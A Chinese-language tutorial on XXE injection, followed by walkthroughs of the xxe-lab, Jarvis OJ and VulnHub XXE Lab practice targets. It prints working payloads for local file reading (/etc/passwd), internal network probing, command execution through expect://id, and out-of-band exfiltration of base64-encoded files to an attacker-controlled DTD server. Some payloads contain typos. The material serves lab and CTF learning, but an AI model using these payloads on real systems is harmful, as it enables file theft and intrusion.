XXE&XML

XML

XML被设计为传输和存储数据,XML文档结构包括XML声明,DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML份里,是独立于软件和硬件的信息传输工具。

XXE

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载而已外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据内容

HTML被设计用来显示数据,其焦点是数据外观

XML旨在传输信息,而HTML旨在显示信息

玩法

读文件

1
2
3
4
5
<?xml version=1.0" ?>
<!DOCTYPE ANY [
<!ENTITY xxe system "file:///d://test.txt">
]>
<x>&xxe;</x>

这个<x></x>之间执行xxe实体

内网探针或攻击内网应用(出发漏洞地址)

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt">
]>
<x>&rabbit;</x>

这里的ip地址192.168.0.103是内网地址

访问没有报错说明index.php文件存在,同时也说明8080端口开放

对端口探针的话需要用其他协议

RCE

该CASE是在expect扩展的PHP环境里执行系统命令

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>

引入外部实体dtd

类似于远程文件包含 ,相当于是在自己的服务器上放上一个包含恶意xml语句的evil2.dtd文件,然后让服务器去访问,服务器便会执行dtd文件里的代码

条件:对方服务器未禁止外部实体引用

1
2
3
4
5
6
7
8
9
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://xxx.xxx.xxx.xxx:8081/evil2.dtd">
%fule;
]>
<x>&send;</x>

evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

无回现-读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.xxx.xxx:8081/test.dtd">
%dtd;
%send;
]>

test.dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEN 'http://192.168.xxx.xxx:8081/?data=%file;'>"
>
%payload;

过程:由于没有回显,所以我们读取的文件内容无法显示出来。这里我们先用file(经过base64加密)把文件内容读出来,然后再去访问远程地址(自己的服务器)上的一个dtd文件,这个dtd里访问自己服务器上的文件并且使用了file作为参数,完成这一代码后,我们便可读取自己服务器的日志文件,查看解密参数,便得到文件内容(还可以在自己服务器上写一个参数来接收这个值,http://192.168.xxx.xxx:8081/xxe.php?data=%file;这里data接收了文件内容)

协议-读文件(绕过)

参考:CTF XXE-绕过

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

靶场

xxe-lab-php靶场登录框xml数据传输

地址:https://github.com/c0ny1/xxe-lab

wp

首先是用burp抓取数据包,然后右键Send to Spider,进行爬取

xxe-lab-php-wp1

History中可以看到爬取结果

xxe-lab-php-wp2

然后对爬取内容搜索xml关键字

xxe-lab-php-wp3

找到可以提交xml的页面

xxe-lab-php-wp4

再将数据包发送到Repeater构造恶意xml代码进行攻击

xxe-lab-php-wp5

CTF-Jarvis-OJ-Web-XXE安全-数据请求格式更改

地址:http://web.jarvisoj.com:9882/

wp

先用burp抓包

CTF-Jarvis-OJ-Web-XXE安全-wp1

再更改数据请求格式Content-Type的值为application/xml
然后POST提交下面的代码

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

发现flag可疑目录,flag应该在/home/ctf/

CTF-Jarvis-OJ-Web-XXE安全-wp2

于是修改payload,得到flag值

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&f;</x>

CTF-Jarvis-OJ-Web-XXE安全-wp3

vulnhub-xxe lab:1

靶场下载地址:XXE Lab: 1

wp

先用nmap进行扫描

vulnhub-xxe lab1-wp1

结果如下:

vulnhub-xxe lab1-wp2

访问后没发现什么,然后用扫描器去扫,发现有robots.txt文件可以访问,并且得到两个有效信息,/xxe/目录和/admin.php文件

vulnhub-xxe lab1-wp3

先访问/xxe/,登录抓包,发现发送的是xml格式数据

vulnhub-xxe lab1-wp4

将数据包发往Repeater,构造攻击语句发包

1
2
3
4
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>

显示xxe.phpbase64加密后内容

vulnhub-xxe lab1-wp5

发送到burp的Send to Decoder去解密

vulnhub-xxe lab1-wp6

解密得到,但并没有发现什么有用信息

vulnhub-xxe lab1-wp7

想到之前还有一个admin.php文件,于是用payload去读取admin.php,进行相同操作,得到用户名和密码,密码是md5加密的

1
2
用户名:administhebest
密码:admin@123

这里登录点要注意,是admin.php文件,我们应访问/xxe/admin.php,登进去后点击Flag

vulnhub-xxe lab1-wp8

进去后跳转如下地址

vulnhub-xxe lab1-wp9

说明有限制,我们接着用刚才的xxe漏洞去读这个文件flagmeout.php

注意该文件是在站点根部录下./flagmeout.php

vulnhub-xxe lab1-wp10

解密后得到,这里是base32加密

vulnhub-xxe lab1-wp11

网上查找base32解密后,得到一串base64加密,再解密后得到flag所在目录/etc/flag.php

再利用xxe漏洞去读,并解密

vulnhub-xxe lab1-wp12

发现一串认不到的代码,从$符判断应该是php代码,我们找个php在线运行,把代码扔进去跑就行了,得到flag值

vulnhub-xxe lab1-wp13

工具

下载:https://github.com/enjoiz/XXEinjector

文章:https://www.cnblogs.com/bmjoker/p/9614990.html

修复与防御

XXE修复与防御